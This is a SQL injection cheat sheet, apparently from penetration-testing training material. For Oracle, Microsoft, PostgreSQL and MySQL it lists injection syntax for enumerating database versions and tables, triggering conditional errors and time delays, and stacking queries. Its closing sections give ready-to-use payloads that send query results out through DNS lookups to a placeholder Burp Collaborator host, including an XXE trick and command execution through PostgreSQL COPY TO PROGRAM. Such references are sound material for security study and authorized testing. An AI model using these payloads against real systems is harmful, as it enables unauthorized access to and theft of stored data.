SQL injection cheat sheet

This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks. String concatenation

You can concatenate together multiple strings to make a single string.

Oracle 	'foo'||'bar'
Microsoft 	'foo'+'bar'
PostgreSQL 	'foo'||'bar'
MySQL 	'foo' 'bar' [Note the space between the two strings]
CONCAT('foo','bar')
Substring

You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return

the string ba.

Oracle 	SUBSTR('foobar', 4, 2)
Microsoft 	SUBSTRING('foobar', 4, 2)
PostgreSQL 	SUBSTRING('foobar', 4, 2)
MySQL 	SUBSTRING('foobar', 4, 2)
Comments

You can use comments to truncate a query and remove the portion of the original query that follows your input.

Oracle 	--comment
Microsoft 	--comment
/*comment*/
PostgreSQL 	--comment
/*comment*/
MySQL 	#comment
-- comment [Note the space after the double dash]
/*comment*/
Database version

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

Oracle 	SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft 	SELECT @@version
PostgreSQL 	SELECT version()
MySQL 	SELECT @@version
Database contents

You can list the tables that exist in the database, and the columns that those tables contain.

Oracle 	SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft 	SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL 	SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL 	SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
Conditional errors

You can test a single boolean condition and trigger a database error if the condition is true.

Oracle 	SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft 	SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL 	1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN CAST(1/0 AS INTEGER) ELSE NULL END)
MySQL 	SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
Batched (or stacked) queries

Oracle 	Does not support batched queries.
Microsoft 	QUERY-1-HERE; QUERY-2-HERE
PostgreSQL 	QUERY-1-HERE; QUERY-2-HERE
MySQL 	QUERY-1-HERE; QUERY-2-HERE
Note

With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.

Time delays

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

Oracle 	dbms_pipe.receive_message(('a'),10)
Microsoft 	WAITFOR DELAY '0:0:10'
PostgreSQL 	SELECT pg_sleep(10)
MySQL 	SELECT SLEEP(10)
Conditional time delays

You can test a single boolean condition and trigger a time delay if the condition is true.

Oracle 	SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft 	IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL 	SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL 	SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')
DNS lookup

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

Oracle The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

The following technique works on fully patched Oracle installations, but requires elevated privileges:

SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoft 	exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQL 	copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQL 	The following techniques work on Windows only:
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

DNS lookup with data exfiltration

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

Oracle 	SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
Microsoft 	declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
PostgreSQL 	create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
MySQL 	The following technique works on Windows only:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

M-A-C